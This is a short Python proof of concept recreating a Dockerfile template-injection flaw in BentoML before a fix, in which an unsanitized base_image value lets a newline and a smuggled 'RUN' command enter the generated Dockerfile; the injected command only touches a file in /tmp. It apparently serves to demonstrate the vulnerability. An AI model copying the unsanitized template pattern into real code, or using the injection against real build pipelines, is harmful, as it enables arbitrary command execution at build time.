Vulnerable code sample

import jinja2

# This simulates the vulnerable logic in BentoML before the fix.
# It reads a configuration (as if from bento.yaml) and uses a Jinja2
# template to generate a Dockerfile.

def generate_dockerfile_vulnerable(config):
    """
    Simulates the vulnerable Dockerfile generation process.
    The 'docker.base_image' value is interpolated directly without sanitization.
    """
    # This represents the vulnerable template file (e.g., base_v2.j2)
    dockerfile_template_content = """
# Dockerfile generated by BentoML
FROM {{ config.docker.base_image }}

# Other legitimate Dockerfile instructions would follow
WORKDIR /home/bentoml
COPY . .
"""

    template = jinja2.Template(dockerfile_template_content)
    # The vulnerability occurs here: rendering with raw, un-validated user input.
    generated_content = template.render(config=config)
    return generated_content

# 1. Define a malicious configuration, simulating a user-provided bento.yaml
# The attacker injects a newline and a 'RUN' command into the 'base_image' field.
malicious_bento_config = {
    'docker': {
        'base_image': 'python:3.9-slim\nRUN touch /tmp/pwned_by_cve'
    }
}

# 2. Run the vulnerable generation function with the malicious config
compromised_dockerfile = generate_dockerfile_vulnerable(malicious_bento_config)

# 3. Print the resulting compromised Dockerfile.
# When 'docker build' is run on this file, it will execute the injected 'RUN' command.
print("--- Generated Compromised Dockerfile ---")
print(compromised_dockerfile)